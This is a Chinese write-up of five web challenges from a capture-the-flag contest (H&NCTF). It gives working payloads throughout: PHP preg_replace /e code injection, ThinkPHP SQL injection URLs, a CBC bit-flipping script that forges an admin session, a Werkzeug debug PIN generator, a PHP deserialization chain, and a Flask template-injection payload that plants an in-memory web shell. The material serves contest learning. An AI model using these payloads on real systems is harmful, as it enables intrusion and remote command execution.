目录如下:
-
Please_RCE_Me
-
1.readfile
-
2.show_source
-
3.highlight_file
-
4.file_get_contents
-
另外一种编码执行
-
ez_tp
-
flipin
-
Decrypto
-
ezFlask
0x01Please_RCE_Me
加上参数,然后出现源码
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.</br>(?moran=flag)";
}
关键地方:
preg_match('/please_give_me_flag/',$str2)
直接大小写绕过,因为没有用i
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
关键代码,想办法代码执行就行了,绕过之前的正则。
四种绕过函数:(稍微扩展一下)
-
readfile
?moran=flag&6=/flag
task=readfile($_GET[6]);&flag=please_give_me_flaG
2.show_source
?moran=flag&6=/flag
task=show_source($_GET[6]);&flag=please_give_me_flaG
3.highlight_file
?moran=flag&6=/flag
task=highlight_file($_GET[6]);&flag=please_give_me_flaG
4.file_get_contents
?moran=flag&6=/flag
task=print(file_get_contents($_GET[6]));&flag=please_give_me_flaG
5.编码
?moran=flag
task=print(file_get_contents("x2fx66x6cx61x67"));&flag=please_give_me_flaG
0x02ez_tp
有个非预期的解答,直接搜索日志就有payload直接打就行。下面是分析的
参考文章:https://y4er.com/posts/thinkphp3-vuln/
得知版本信息
从源码中可以知道tp路由为
/index.php/Home/Index/h_n
路由详情参考该文章:
https://www.kancloud.cn/manual/thinkphp/1711
/index.php/Home/Index/h_n?name[0]=exp&name[1]==1%20or%201%20union%20select%201,user()
/index.php/Home/Index/h_n?name[0]=exp&name[1]==1%20or%201%20union%20select%201,flag%20from%20flag
0x03flipin
使用CBC 字节翻转攻击伪造session
参考文章:https://www.anquanke.com/post/id/235190#h3-5
我们想要的伪造明文=中间密文^伪造IV = 原始IV^原始明文^伪造IV,可以推出伪造IV=原始IV^原始明文^伪造明文。随意我们只要知道原始IV和原始明文这两个值,就可以伪造解密后的结果。
根据提示给出了,IV和密文
下面是整个的源码
from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode
import json
default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)
def encrypt(session):
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))
def decrypt(session):
raw = b64decode(session)
cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
try:
res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
return res
except Exception as e:
print(e)
app = Flask(__name__)
filename_blacklist = {
'self',
'cgroup',
'mountinfo',
'env',
'flag'
}
def index():
session = request.cookies.get('session')
if session is None:
res = Response(
"welcome to the FlipPIN server try request /hint to get the hint")
res.set_cookie('session', encrypt(default_session).decode())
return res
else:
return 'have a fun'
def hint():
res = Response(open(__file__).read(), mimetype='text/plain')
return res
def file():
session = request.cookies.get('session')
if session is None:
res = Response("you are not logged in")
res.set_cookie('session', encrypt(default_session))
return res
else:
plain_session = decrypt(session)
if plain_session is None:
return 'don't hack me'
session_data = json.loads(plain_session)
if session_data['admin'] :
filename = request.args.get('filename')
if any(blacklist_str in filename for blacklist_str in filename_blacklist):
abort(403, description='Access to this file is forbidden.')
try:
with open(filename, 'r') as f:
return f.read()
except FileNotFoundError:
abort(404, description='File not found.')
except Exception as e:
abort(500, description=f'An error occurred: {str(e)}')
else:
return 'You are not an administrator'
if __name__ == "__main__":
app.run(host="0.0.0.0", port=9091, debug=True)
伪造明文=中间密文^伪造IV = 原始IV^原始明文^伪造IV,可以推出伪造IV=原始IV^原始明文^伪造明文
密文和iv在
然后复制到脚本中,伪造就行了
import base64
cipher = "EULiU3h6yzu/PqGnxACzGMcKr2VGiKYigdo/vbAcj2AR3DeJX6xtc5tl9JmbgHW/+jVMxEnaRZjCHlsXZgTFSg=="
cipher = base64.b64decode(cipher)
# IV (Initialization Vector),注意IV也是需要已知的
iv = cipher[:16]
# 已知的明文和密文
ciphertext = cipher[16:]
# 构造admin和guest字符串
admin = b'{"admin": 1, "username": "admin"}'
guest = b'{"admin": 0, "username": "user1"}'
# 计算新IV
new_iv = bytes([iv_byte ^ admin_byte ^ guest_byte for iv_byte, admin_byte, guest_byte in zip(iv, admin, guest)])
# 打印新IV的base64编码
print(base64.b64encode(new_iv).decode('utf-8'))
print(base64.b64encode(new_iv+ciphertext).decode('utf-8'))
然后将伪造好的session替换,根据给的源码读取文件看看是否伪造成功。
然后第二步就是想办法获取pin
参考文章:
https://blog.csdn.net/RABCDXB/article/details/117773638
获取计算pin所需要的东西
username = ctfUser # /etc/passwd
uuid = 6720451372650 # /sys/class/net/eth0/address 16进制转10进制
modname = flask.app # 默认
getattr(app, “name”, app.class.name) = Flask # 默认值
flask库下app.py的绝对路径 = /usr/lib/python3.9/site-packages/flask/app.py # 报错得到
mechineid = f67849d6-0b58-4a19-8e76-938d747b1e6684fb23e4ec0b044e6bf6327ebd559c232893187b0a5a690a8c9154db4604b545
#docker容器读取/proc/sys/kernel/random/boot_id和/proc/self/cgroup文件两个内容拼接
#非docker容器还要读取/etc/machine-id
#这里/proc/sys/kernel/random/boot_id = f67849d6-0b58-4a19-8e76-938d747b1e66
#/proc/self/cgroup用/proc/1/cpuset代替 = 84fb23e4ec0b044e6bf6327ebd559c232893187b0a5a690a8c9154db4604b545
根据文件读取的东西,把所有需要的东西获取完了。使用脚本生成pin
# -*- coding: gb2312 -*-
import hashlib
from itertools import chain
probably_public_bits = [
'ctfUser'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/lib/python3.9/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'77261534605225',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'f67849d6-0b58-4a19-8e76-938d747b1e660b6588a56c8356107c3a631edbd95621752eb4077c94099ba29f5099a52c6020'# /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
118-824-744
然后把报错页面搞出来,我这里的方法是直接删除cookie中session字段。
然后找到终端按钮
0x04Decrypto
读取config.php
username=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:6:"passwd";O:4:"FILE":1:{s:8:"filename";s:10:"config.php";}s:6:"status";s:4:"True";}&passwd=1
rce
$secret_key = "Harder_says_nice_to_meet_to";
$algorithm = "AES-128-CTR";
function encryptCookie($value) {
global $algorithm,$secret_key;
$key = $secret_key;
$cipher = $algorithm;
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length($cipher));
$encryptedValue = openssl_encrypt($value, $cipher, $key, 0, $iv) . '::' . bin2hex($iv);
return $encryptedValue;
}
class admin{
public $admin;
public $root;
public function __destruct()
{
echo $this->root;
system("whoami");
}
}
class Date{
public $cmd;
public function __toString()
{
system($this->cmd);
}
}
$a = new admin();
$a->root = new Date();
$a->root->cmd = 'env';
$cmd = serialize($a);
echo base64_encode(encryptCookie($cmd))."n";
0x05ezflask
看见一次执行命令权限,又是flask框架,大致猜到是打内存马了
参考文章
http://blog.polowong.top/2022/10/16/Flask内存马的检测与清除/index.html
poc
cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}")
原文始发于微信公众号(小呆安全):H&NCTF记录(WEB)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论